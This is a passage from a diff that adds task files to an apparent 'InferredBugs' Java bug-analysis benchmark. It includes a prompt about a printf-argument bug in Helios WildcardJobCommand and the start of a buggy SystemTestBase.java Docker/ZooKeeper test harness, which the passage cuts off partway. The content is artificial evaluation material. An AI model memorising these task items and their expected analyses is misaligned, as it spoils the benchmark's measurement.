+user
+
+### Procedure:
+int WildcardJobCommand.run(Namespace,HeliosClient,PrintStream,boolean,BufferedReader)
+
+### Procedure Id:
+com.spotify.helios.cli.command.WildcardJobCommand.run(net.sourceforge.argparse4j.inf.Namespace,com.s.9631b5109a3494d6eaec5e4d098150ad
+
+### File:
+helios-tools/src/main/java/com/spotify/helios/cli/command/WildcardJobCommand.java
+
+### Key:
+WildcardJobCommand.java|run|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+7713e2a13e3f302df1b4599e6bfeb602
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3527/instruction.md b/inferredbugs-3527/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..56cfa51e25387bd6b9641796aa48a20cbebfca0a
--- /dev/null
+++ b/inferredbugs-3527/instruction.md
@@ -0,0 +1,1085 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helios
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2014 Spotify AB.
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package com.spotify.helios.system;
+
+import com.fasterxml.jackson.databind.util.ISO8601Utils;
+import com.google.common.base.Strings;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Range;
+import com.google.common.util.concurrent.FutureFallback;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.Service;
+
+import com.fasterxml.jackson.core.type.TypeReference;
+import com.spotify.docker.client.ContainerNotFoundException;
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.DockerException;
+import com.spotify.docker.client.DockerRequestException;
+import com.spotify.docker.client.ImageNotFoundException;
+import com.spotify.docker.client.LogMessage;
+import com.spotify.docker.client.LogReader;
+import com.spotify.docker.client.messages.Container;
+import com.spotify.docker.client.messages.ContainerConfig;
+import com.spotify.docker.client.messages.ContainerCreation;
+import com.spotify.docker.client.messages.ContainerInfo;
+import com.spotify.docker.client.messages.HostConfig;
+import com.spotify.docker.client.messages.PortBinding;
+import com.spotify.helios.Polling;
+import com.spotify.helios.TemporaryPorts;
+import com.spotify.helios.ZooKeeperStandaloneServerManager;
+import com.spotify.helios.ZooKeeperTestManager;
+import com.spotify.helios.agent.AgentMain;
+import com.spotify.helios.cli.CliMain;
+import com.spotify.helios.client.HeliosClient;
+import com.spotify.helios.common.Json;
+import com.spotify.helios.common.descriptors.Deployment;
+import com.spotify.helios.common.descriptors.HostStatus;
+import com.spotify.helios.common.descriptors.Job;
+import com.spotify.helios.common.descriptors.JobId;
+import com.spotify.helios.common.descriptors.JobStatus;
+import com.spotify.helios.common.descriptors.PortMapping;
+import com.spotify.helios.common.descriptors.ServiceEndpoint;
+import com.spotify.helios.common.descriptors.ServicePorts;
+import com.spotify.helios.common.descriptors.TaskStatus;
+import com.spotify.helios.common.descriptors.ThrottleState;
+import com.spotify.helios.common.protocol.JobDeleteResponse;
+import com.spotify.helios.common.protocol.JobUndeployResponse;
+import com.spotify.helios.master.MasterMain;
+import com.spotify.helios.servicescommon.DockerHost;
+import com.spotify.helios.servicescommon.coordination.CuratorClientFactory;
+import com.spotify.helios.servicescommon.coordination.Paths;
+import com.sun.jersey.api.client.ClientResponse;
+
+import org.apache.curator.framework.CuratorFramework;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.ExpectedException;
+import org.junit.rules.TemporaryFolder;
+import org.junit.rules.TestRule;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.slf4j.bridge.SLF4JBridgeHandler;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.net.Socket;
+import java.net.URI;
+import java.nio.file.Path;
+import java.security.SecureRandom;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ThreadLocalRandom;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+import static com.google.common.base.CharMatcher.WHITESPACE;
+import static com.google.common.base.Charsets.UTF_8;
+import static com.google.common.base.Preconditions.checkArgument;
+import static com.google.common.base.Preconditions.checkNotNull;
+import static com.google.common.collect.Iterables.concat;
+import static com.google.common.collect.Lists.newArrayList;
+import static com.spotify.helios.TemporaryPorts.AllocatedPort;
+import static com.spotify.helios.common.descriptors.Goal.UNDEPLOY;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_ENV;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_EXPIRES;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_PORTS;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_REGISTRATION;
+import static com.spotify.helios.common.descriptors.Job.EMPTY_VOLUMES;
+import static java.lang.Integer.toHexString;
+import static java.lang.String.format;
+import static java.util.Arrays.asList;
+import static java.util.concurrent.TimeUnit.MINUTES;
+import static java.util.concurrent.TimeUnit.SECONDS;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.containsString;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+public abstract class SystemTestBase {
+
+  private static final Logger log = LoggerFactory.getLogger(SystemTestBase.class);
+
+  public static final int WAIT_TIMEOUT_SECONDS = 40;
+  public static final int LONG_WAIT_MINUTES = 10;
+  public static final int INTERNAL_PORT = 4444;
+
+  public static final String BUSYBOX = "busybox";
+  public static final List<String> IDLE_COMMAND = asList("sh", "-c", "while :; do sleep 1; done");
+
+  public final String testTag = "test_" + toHexString(ThreadLocalRandom.current().nextInt());
+  public final String testJobName = "job_" + testTag;
+  public final String testJobVersion = "v" + toHexString(ThreadLocalRandom.current().nextInt());
+
+  public static final DockerHost DOCKER_HOST = DockerHost.fromEnv();
+
+  public static final String TEST_USER = "test-user";
+  public static final String TEST_HOST = "test-host";
+  public static final String TEST_MASTER = "test-master";
+
+  @Rule public final TemporaryPorts temporaryPorts = TemporaryPorts.create();
+
+  @Rule public final TemporaryFolder temporaryFolder = new TemporaryFolder();
+  @Rule public final ExpectedException exception = ExpectedException.none();
+  @Rule public final TestRule watcher = new LoggingTestWatcher();
+
+  private int masterPort;
+  private int masterAdminPort;
+  private String masterEndpoint;
+  private boolean integrationMode;
+  private Range<Integer> dockerPortRange;
+
+  private final List<Service> services = newArrayList();
+  private final List<HeliosClient> clients = Lists.newArrayList();
+
+  private String testHost;
+  private Path agentStateDirs;
+  private String masterName;
+
+  private ZooKeeperTestManager zk;
+
+  @BeforeClass
+  public static void staticSetup() {
+    SLF4JBridgeHandler.removeHandlersForRootLogger();
+    SLF4JBridgeHandler.install();
+  }
+
+  @Before
+  public void baseSetup() throws Exception {
+    masterPort = temporaryPorts.localPort("helios master");
+    masterAdminPort = temporaryPorts.localPort("helios master admin");
+
+    String className = getClass().getName();
+    if (className.endsWith("ITCase")) {
+      masterEndpoint = checkNotNull(System.getenv("HELIOS_ENDPOINT"),
+                                    "For integration tests, HELIOS_ENDPOINT *must* be set");
+      integrationMode = true;
+    } else if (className.endsWith("Test")) {
+      integrationMode = false;
+      masterEndpoint = "http://localhost:" + masterPort();
+      // unit test
+    } else {
+      throw new RuntimeException("testClass neither ends in Test or ITCase");
+    }
+
+    zk = zooKeeperTestManager();
+    listThreads();
+    zk.ensure("/config");
+    zk.ensure("/status");
+    agentStateDirs = temporaryFolder.newFolder("helios-agents").toPath();
+  }
+
+  @Before
+  public void dockerSetup() throws Exception {
+    final String portRange = System.getenv("DOCKER_PORT_RANGE");
+
+    final AllocatedPort allocatedPort;
+    final int probePort;
+    if (portRange != null) {
+      final String[] parts = portRange.split(":", 2);
+      dockerPortRange = Range.closedOpen(Integer.valueOf(parts[0]),
+                                         Integer.valueOf(parts[1]));
+      allocatedPort = Polling.await(LONG_WAIT_MINUTES, MINUTES, new Callable<AllocatedPort>() {
+        @Override
+        public AllocatedPort call() throws Exception {
+          final int port = ThreadLocalRandom.current().nextInt(dockerPortRange.lowerEndpoint(),
+                                                               dockerPortRange.upperEndpoint());
+          return temporaryPorts.tryAcquire("docker-probe", port);
+        }
+      });
+      probePort = allocatedPort.port();
+    } else {
+      dockerPortRange = temporaryPorts.localPortRange("docker", 10);
+      probePort = dockerPortRange().lowerEndpoint();
+      allocatedPort = null;
+    }
+
+    try {
+      assertDockerReachable(probePort);
+    } finally {
+      if (allocatedPort != null) {
+        allocatedPort.release();
+      }
+    }
+  }
+
+  private void assertDockerReachable(final int probePort) throws Exception {
+    final DockerClient docker = new DefaultDockerClient(DOCKER_HOST.uri());
+
+    try {
+      docker.inspectImage(BUSYBOX);
+    } catch (ImageNotFoundException e) {
+      docker.pull(BUSYBOX);
+    }
+
+    final ContainerConfig config = ContainerConfig.builder()
+        .image(BUSYBOX)
+        .cmd("nc", "-p", "4711", "-lle", "cat")
+        .exposedPorts(ImmutableSet.of("4711/tcp"))
+        .build();
+    final HostConfig hostConfig = HostConfig.builder()
+        .portBindings(ImmutableMap.of("4711/tcp",
+                                      asList(PortBinding.of("0.0.0.0", probePort))))
+        .build();
+    final ContainerCreation creation = docker.createContainer(config, testTag + "-probe");
+    final String containerId = creation.id();
+    docker.startContainer(containerId, hostConfig);
+
+    // Wait for container to come up
+    Polling.await(5, SECONDS, new Callable<Object>() {
+      @Override
+      public Object call() throws Exception {
+        final ContainerInfo info = docker.inspectContainer(containerId);
+        return info.state().running() ? true : null;
+      }
+    });
+
+    log.info("Verifying that docker containers are reachable");
+    try {
+      Polling.awaitUnchecked(5, SECONDS, new Callable<Object>() {
+        @Override
+        public Object call() throws Exception {
+          log.info("Probing: {}:{}", DOCKER_HOST.address(), probePort);
+          try (final Socket ignored = new Socket(DOCKER_HOST.address(), probePort)) {
+            return true;
+          } catch (IOException e) {
+            return false;
+          }
+        }
+      });
+    } catch (TimeoutException e) {
+      fail("Please ensure that DOCKER_HOST is set to an address that where containers can " +
+           "be reached. If docker is running in a local VM, DOCKER_HOST must be set to the " +
+           "address of that VM. If docker can only be reached on a limited port range, " +
+           "set the environment variable DOCKER_PORT_RANGE=start:end");
+    }
+
+    docker.killContainer(containerId);
+  }
+
+  protected ZooKeeperTestManager zooKeeperTestManager() {
+    return new ZooKeeperStandaloneServerManager();
+  }
+
+  @After
+  public void baseTeardown() throws Exception {
+    tearDownJobs();
+    for (final HeliosClient client : clients) {
+      client.close();
+    }
+    clients.clear();
+
+    for (Service service : services) {
+      try {
+        service.stopAsync();
+      } catch (Exception e) {
+        log.error("Uncaught exception", e);
+      }
+    }
+    for (Service service : services) {
+      try {
+        service.awaitTerminated();
+      } catch (Exception e) {
+        log.error("Service failed", e);
+      }
+    }
+    services.clear();
+
+    // Clean up docker
+    try {
+      final DockerClient dockerClient = new DefaultDockerClient(DOCKER_HOST.uri());
+      final List<Container> containers = dockerClient.listContainers();
+      for (final Container container : containers) {
+        for (final String name : container.names()) {
+          if (name.contains(testTag)) {
+            try {
+              dockerClient.killContainer(container.id());
+            } catch (DockerException e) {
+              e.printStackTrace();
+            }
+            break;
+          }
+        }
+      }
+    } catch (Exception e) {
+      log.error("Docker client exception", e);
+    }
+
+    if (zk != null) {
+      zk.close();
+    }
+
+    listThreads();
+  }
+
+  private void listThreads() {
+    final Set<Thread> threads = Thread.getAllStackTraces().keySet();
+    final Map<String, Thread> sorted = Maps.newTreeMap();
+    for (final Thread t : threads) {
+      final ThreadGroup tg = t.getThreadGroup();
+      if (t.isAlive() && (tg == null || !tg.getName().equals("system"))) {
+        sorted.put(t.getName(), t);
+      }
+    }
+    log.info("= THREADS " + Strings.repeat("=", 70));
+    for (final Thread t : sorted.values()) {
+      final ThreadGroup tg = t.getThreadGroup();
+      log.info("{}: \"{}\" ({}{})", t.getId(), t.getName(),
+               (tg == null ? "" : tg.getName() + " "),
+               (t.isDaemon() ? "daemon" : ""));
+    }
+    log.info(Strings.repeat("=", 80));
+  }
+
+  protected void tearDownJobs() throws InterruptedException, ExecutionException {
+    if (!isIntegration()) {
+      return;
+    }
+
+    if (System.getenv("ITCASE_PRESERVE_JOBS") != null) {
+      return;
+    }
+
+    final List<ListenableFuture<JobUndeployResponse>> undeploys = Lists.newArrayList();
+    final HeliosClient c = defaultClient();
+    final Map<JobId, Job> jobs = c.jobs().get();
+    for (JobId jobId : jobs.keySet()) {
+      if (!jobId.toString().startsWith(testTag)) {
+        continue;
+      }
+      final JobStatus st = c.jobStatus(jobId).get();
+      final Set<String> hosts = st.getDeployments().keySet();
+      for (String host : hosts) {
+        log.info("Undeploying job " + jobId);
+        undeploys.add(c.undeploy(jobId, host));
+      }
+    }
+    Futures.allAsList(undeploys);
+
+    final List<ListenableFuture<JobDeleteResponse>> deletes = Lists.newArrayList();
+    for (JobId jobId : jobs.keySet()) {
+      if (!jobId.toString().startsWith(testTag)) {
+        continue;
+      }
+      log.info("Deleting job " + jobId);
+      deletes.add(c.deleteJob(jobId));
+    }
+    Futures.allAsList(deletes);
+  }
+
+  protected boolean isIntegration() {
+    return integrationMode;
+  }
+
+  protected TemporaryPorts temporaryPorts() {
+    return temporaryPorts;
+  }
+
+  protected ZooKeeperTestManager zk() {
+    return zk;
+  }
+
+  protected String masterEndpoint() {
+    return masterEndpoint;
+  }
+
+  protected String masterName() throws InterruptedException, ExecutionException {
+    if (integrationMode) {
+      if (masterName == null) {
+        masterName = defaultClient().listMasters().get().get(0);
+      }
+      return masterName;
+    } else {
+      return "test-master";
+    }
+  }
+
+  protected HeliosClient defaultClient() {
+    return client(TEST_USER, masterEndpoint());
+  }
+
+  protected HeliosClient client(final String user, final String endpoint) {
+    final HeliosClient client = HeliosClient.newBuilder()
+        .setUser(user)
+        .setEndpoints(asList(URI.create(endpoint)))
+        .build();
+    clients.add(client);
+    return client;
+  }
+
+  protected int masterPort() {
+    return masterPort;
+  }
+
+  protected int masterAdminPort() {
+    return masterAdminPort;
+  }
+
+  public Range<Integer> dockerPortRange() {
+    return dockerPortRange;
+  }
+
+  protected String testHost() throws InterruptedException, ExecutionException {
+    if (integrationMode) {
+      if (testHost == null) {
+        final List<String> hosts = defaultClient().listHosts().get();
+        testHost = hosts.get(new SecureRandom().nextInt(hosts.size()));
+      }
+      return testHost;
+    } else {
+      return TEST_HOST;
+    }
+  }
+
+  protected List<String> setupDefaultMaster(String... args) throws Exception {
+    if (isIntegration()) {
+      checkArgument(args.length == 0,
+                    "cannot start default master in integration test with arguments passed");
+      return null;
+    }
+
+    // TODO (dano): Move this bootstrapping to something reusable
+    final CuratorFramework curator = zk.curator();
+    curator.newNamespaceAwareEnsurePath(Paths.configHosts()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.configJobs()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.configJobRefs()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.statusHosts()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.statusMasters()).ensure(curator.getZookeeperClient());
+    curator.newNamespaceAwareEnsurePath(Paths.historyJobs()).ensure(curator.getZookeeperClient());
+
+    final List<String> argsList = Lists.newArrayList("-vvvv",
+                                                     "--no-log-setup",
+                                                     "--http", masterEndpoint(),
+                                                     "--admin=" + masterAdminPort(),
+                                                     "--name", TEST_MASTER,
+                                                     "--domain", "",
+                                                     "--zk", zk.connectString());
+    argsList.addAll(asList(args));
+
+    return argsList;
+  }
+
+  protected void startDefaultMaster(String... args) throws Exception {
+    final List<String> argsList = setupDefaultMaster(args);
+
+    if (argsList == null) {
+      return;
+    }
+
+    startMaster(argsList.toArray(new String[argsList.size()]));
+    waitForMasterToConnectToZK();
+  }
+
+  protected void waitForMasterToConnectToZK() throws Exception {
+    Polling.await(WAIT_TIMEOUT_SECONDS, SECONDS, new Callable<Object>() {
+      @Override
+      public Object call() {
+        try {
+          final List<String> masters = defaultClient().listMasters().get();
+          return masters != null;
+        } catch (Exception e) {
+          return null;
+        }
+      }
+    });
+  }
+
+  protected void startDefaultMasterDontWaitForZK(final CuratorClientFactory curatorClientFactory,
+                                                 String... args) throws Exception {
+    List<String> argsList = setupDefaultMaster(args);
+
+    if (argsList == null) {
+      return;
+    }
+
+    startMaster(curatorClientFactory, argsList.toArray(new String[argsList.size()]));
+  }
+
+  protected AgentMain startDefaultAgent(final String host, final String... args)
+      throws Exception {
+    if (isIntegration()) {
+      checkArgument(args.length == 0,
+                    "cannot start default agent in integration test with arguments passed");
+      return null;
+    }
+
+    final String stateDir = agentStateDirs.resolve(host).toString();
+    final List<String> argsList = Lists.newArrayList("-vvvv",
+                                                     "--no-log-setup",
+                                                     "--no-http",
+                                                     "--name", host,
+                                                     "--docker=" + DOCKER_HOST,
+                                                     "--zk", zk.connectString(),
+                                                     "--zk-session-timeout", "100",
+                                                     "--zk-connection-timeout", "100",
+                                                     "--state-dir", stateDir,
+                                                     "--domain", "",
+                                                     "--port-range=" +
+                                                     dockerPortRange.lowerEndpoint() + ":" +
+                                                     dockerPortRange.upperEndpoint()
+    );
+    argsList.addAll(asList(args));
+    return startAgent(argsList.toArray(new String[argsList.size()]));
+  }
+
+  protected MasterMain startMaster(final String... args) throws Exception {
+    final MasterMain main = new MasterMain(args);
+    main.startAsync().awaitRunning();
+    services.add(main);
+    return main;
+  }
+
+  MasterMain startMaster(final CuratorClientFactory curatorClientFactory,
+                         final String... args) throws Exception {
+    final MasterMain main = new MasterMain(curatorClientFactory, args);
+    main.startAsync().awaitRunning();
+    services.add(main);
+    return main;
+  }
+
+  protected AgentMain startAgent(final String... args) throws Exception {
+    final AgentMain main = new AgentMain(args);
+    main.startAsync().awaitRunning();
+    services.add(main);
+    return main;
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command) throws Exception {
+    return createJob(name, version, image, command, EMPTY_ENV, EMPTY_PORTS, EMPTY_REGISTRATION);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Date expires) throws Exception {
+    return createJob(name, version, image, command, EMPTY_ENV, EMPTY_PORTS, EMPTY_REGISTRATION,
+      EMPTY_VOLUMES, expires);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final ImmutableMap<String, String> env)
+      throws Exception {
+    return createJob(name, version, image, command, env, EMPTY_PORTS, EMPTY_REGISTRATION);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports) throws Exception {
+    return createJob(name, version, image, command, env, ports, EMPTY_REGISTRATION);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports,
+                            final Map<ServiceEndpoint, ServicePorts> registration)
+      throws Exception {
+    return createJob(name, version, image, command, env, ports, registration, EMPTY_VOLUMES);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports,
+                            final Map<ServiceEndpoint, ServicePorts> registration,
+                            final Map<String, String> volumes) throws Exception {
+    return createJob(name, version, image, command, env, ports, registration, volumes,
+        EMPTY_EXPIRES);
+  }
+
+  protected JobId createJob(final String name,
+                            final String version,
+                            final String image,
+                            final List<String> command,
+                            final Map<String, String> env,
+                            final Map<String, PortMapping> ports,
+                            final Map<ServiceEndpoint, ServicePorts> registration,
+                            final Map<String, String> volumes,
+                            final Date expires) throws Exception {
+    return createJob(Job.newBuilder()
+        .setName(name)
+        .setVersion(version)
+        .setImage(image)
+        .setCommand(command)
+        .setEnv(env)
+        .setPorts(ports)
+        .setRegistration(registration)
+        .setVolumes(volumes)
+        .setExpires(expires)
+        .build());
+  }
+
+  protected JobId createJob(final Job job) throws Exception {
+    final String name = job.getId().getName();
+    final String version = job.getId().getVersion();
+    checkArgument(name.contains(testTag), "Job name must contain testTag to enable cleanup");
+
+    final List<String> args = Lists.newArrayList("-q", name + ':' + version, job.getImage());
+
+    for (Map.Entry<String, String> entry : job.getEnv().entrySet()) {
+      args.add("--env=" + entry.getKey() + "=" + entry.getValue());
+    }
+
+    for (final Map.Entry<String, PortMapping> entry : job.getPorts().entrySet()) {
+      args.add("--port");
+      String value = "" + entry.getValue().getInternalPort();
+      if (entry.getValue().getExternalPort() != null) {
+        value += ":" + entry.getValue().getExternalPort();
+      }
+      if (entry.getValue().getProtocol() != null) {
+        value += "/" + entry.getValue().getProtocol();
+      }
+      args.add(entry.getKey() + "=" + value);
+    }
+
+    for (final Map.Entry<ServiceEndpoint, ServicePorts> entry : job.getRegistration().entrySet()) {
+      final ServiceEndpoint r = entry.getKey();
+      for (String portName : entry.getValue().getPorts().keySet()) {
+          args.add("--register=" + ((r.getProtocol() == null)
+                                    ? format("%s=%s", r.getName(), portName)
+                                    : format("%s/%s=%s", r.getName(), r.getProtocol(), portName)));
+        }
+    }
+
+    for (Map.Entry<String, String> entry : job.getVolumes().entrySet()) {
+      if (Strings.isNullOrEmpty(entry.getKey())) {
+        // Data volume
+        args.add("--volume=" + entry.getKey());
+      } else {
+        // Bind mount
+        args.add("--volume=" + entry.getValue() + ":" + entry.getKey());
+      }
+    }
+
+    if (job.getExpires() != null) {
+      args.add("--expires=" + ISO8601Utils.format(job.getExpires()));
+    }
+
+    args.add("--");
+    args.addAll(job.getCommand());
+
+    final String createOutput = cli("create", args);
+    final String jobId = WHITESPACE.trimFrom(createOutput);
+
+    final String listOutput = cli("jobs", "-q");
+    assertThat(listOutput, containsString(jobId));
+    return JobId.fromString(jobId);
+  }
+
+  protected void deployJob(final JobId jobId, final String host)
+      throws Exception {
+    final String deployOutput = cli("deploy", jobId.toString(), host);
+    assertThat(deployOutput, containsString(host + ": done"));
+
+    final String output = cli("status", "--host", host, "--json");
+    final Map<JobId, JobStatus> statuses =
+        Json.readUnchecked(output, new TypeReference<Map<JobId, JobStatus>>() {});
+    assertTrue(statuses.keySet().contains(jobId));
+  }
+
+  protected void undeployJob(final JobId jobId, final String host) throws Exception {
+    final String undeployOutput = cli("undeploy", jobId.toString(), host);
+    assertThat(undeployOutput, containsString(host + ": done"));
+
+    final String output = cli("status", "--host", host, "--json");
+    final Map<JobId, JobStatus> statuses =
+        Json.readUnchecked(output, new TypeReference<Map<JobId, JobStatus>>() {});
+    final JobStatus status = statuses.get(jobId);
+    assertTrue(status == null ||
+               status.getDeployments().get(host) == null ||
+               status.getDeployments().get(host).getGoal() == UNDEPLOY);
+  }
+
+  protected String startJob(final JobId jobId, final String host) throws Exception {
+    return cli("start", jobId.toString(), host);
+  }
+
+  protected String stopJob(final JobId jobId, final String host) throws Exception {
+    return cli("stop", jobId.toString(), host);
+  }
+
+  protected String deregisterHost(final String host) throws Exception {
+    return cli("deregister", host, "--force");
+  }
+
+  protected String cli(final String command, final Object... args)
+      throws Exception {
+    return cli(command, flatten(args));
+  }
+
+  protected String cli(final String command, final String... args)
+      throws Exception {
+    return cli(command, asList(args));
+  }
+
+  protected String cli(final String command, final List<String> args)
+      throws Exception {
+    final List<String> commands = asList(command, "-z", masterEndpoint(), "--no-log-setup");
+    final List<String> allArgs = newArrayList(concat(commands, args));
+    return main(allArgs).toString();
+  }
+
+  protected ByteArrayOutputStream main(final String... args) throws Exception {
+    final ByteArrayOutputStream out = new ByteArrayOutputStream();
+    final ByteArrayOutputStream err = new ByteArrayOutputStream();
+    final CliMain main = new CliMain(new PrintStream(out), new PrintStream(err), args);
+    main.run();
+    return out;
+  }
+
+  protected ByteArrayOutputStream main(final Collection<String> args) throws Exception {
+    return main(args.toArray(new String[args.size()]));
+  }
+
+  protected void awaitHostRegistered(final String name, final long timeout, final TimeUnit timeUnit)
+      throws Exception {
+    Polling.await(timeout, timeUnit, new Callable<Object>() {
+      @Override
+      public Object call() throws Exception {
+        final String output = cli("hosts", "-q");
+        return output.contains(name) ? true : null;
+      }
+    });
+  }
+
+  protected HostStatus awaitHostStatus(final String name, final HostStatus.Status status,
+                                       final int timeout, final TimeUnit timeUnit)
+      throws Exception {
+    return Polling.await(timeout, timeUnit, new Callable<HostStatus>() {
+      @Override
+      public HostStatus call() throws Exception {
+        final String output = cli("hosts", name, "--json");
+        final Map<String, HostStatus> statuses;
+        try {
+          statuses = Json.read(output, new TypeReference<Map<String, HostStatus>>() {});
+        } catch (IOException e) {
+          return null;
+        }
+        final HostStatus hostStatus = statuses.get(name);
+        if (hostStatus == null) {
+          return null;
+        }
+        return (hostStatus.getStatus() == status) ? hostStatus : null;
+      }
+    });
+  }
+
+  protected TaskStatus awaitJobState(final HeliosClient client, final String host,
+                                     final JobId jobId,
+                                     final TaskStatus.State state, final int timeout,
+                                     final TimeUnit timeunit) throws Exception {
+    return Polling.await(timeout, timeunit, new Callable<TaskStatus>() {
+      @Override
+      public TaskStatus call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        if (hostStatus == null) {
+          return null;
+        }
+        final TaskStatus taskStatus = hostStatus.getStatuses().get(jobId);
+        return (taskStatus != null && taskStatus.getState() == state) ? taskStatus
+                                                                      : null;
+      }
+    });
+  }
+
+  protected TaskStatus awaitJobThrottle(final HeliosClient client, final String host,
+                                        final JobId jobId,
+                                        final ThrottleState throttled, final int timeout,
+                                        final TimeUnit timeunit) throws Exception {
+    return Polling.await(timeout, timeunit, new Callable<TaskStatus>() {
+      @Override
+      public TaskStatus call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        if (hostStatus == null) {
+          return null;
+        }
+        final TaskStatus taskStatus = hostStatus.getStatuses().get(jobId);
+        return (taskStatus != null && taskStatus.getThrottled() == throttled) ? taskStatus : null;
+      }
+    });
+  }
+
+  protected void awaitHostRegistered(final HeliosClient client, final String host,
+                                     final int timeout,
+                                     final TimeUnit timeUnit) throws Exception {
+    Polling.await(timeout, timeUnit, new Callable<HostStatus>() {
+      @Override
+      public HostStatus call() throws Exception {
+        return getOrNull(client.hostStatus(host));
+      }
+    });
+  }
+
+  protected HostStatus awaitHostStatus(final HeliosClient client, final String host,
+                                       final HostStatus.Status status,
+                                       final int timeout,
+                                       final TimeUnit timeUnit) throws Exception {
+    return Polling.await(timeout, timeUnit, new Callable<HostStatus>() {
+      @Override
+      public HostStatus call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        if (hostStatus == null) {
+          return null;
+        }
+        return (hostStatus.getStatus() == status) ? hostStatus : null;
+      }
+    });
+  }
+
+  protected TaskStatus awaitTaskState(final JobId jobId, final String host,
+                                      final TaskStatus.State state) throws Exception {
+    long timeout = LONG_WAIT_MINUTES;
+    TimeUnit timeUnit = MINUTES;
+    return Polling.await(timeout, timeUnit, new Callable<TaskStatus>() {
+      @Override
+      public TaskStatus call() throws Exception {
+        final String output = cli("status", "--json", "--job", jobId.toString());
+        final Map<JobId, JobStatus> statusMap;
+        try {
+          statusMap = Json.read(output, new TypeReference<Map<JobId, JobStatus>>() {});
+        } catch (IOException e) {
+          return null;
+        }
+        final JobStatus status = statusMap.get(jobId);
+        if (status == null) {
+          return null;
+        }
+        final TaskStatus taskStatus = status.getTaskStatuses().get(host);
+        if (taskStatus == null) {
+          return null;
+        }
+        if (taskStatus.getState() != state) {
+          return null;
+        }
+        return taskStatus;
+      }
+    });
+  }
+
+  protected void awaitTaskGone(final HeliosClient client, final String host, final JobId jobId,
+                               final long timeout, final TimeUnit timeunit) throws Exception {
+    Polling.await(timeout, timeunit, new Callable<Boolean>() {
+      @Override
+      public Boolean call() throws Exception {
+        final HostStatus hostStatus = getOrNull(client.hostStatus(host));
+        final TaskStatus taskStatus = hostStatus.getStatuses().get(jobId);
+        final Deployment deployment = hostStatus.getJobs().get(jobId);
+        return taskStatus == null && deployment == null ? true : null;
+      }
+    });
+  }
+
+  protected <T> T getOrNull(final ListenableFuture<T> future)
+      throws ExecutionException, InterruptedException {
+    return Futures.withFallback(future, new FutureFallback<T>() {
+      @Override
+      public ListenableFuture<T> create(final Throwable t) throws Exception {
+        return Futures.immediateFuture(null);
+      }
+    }).get();
+  }
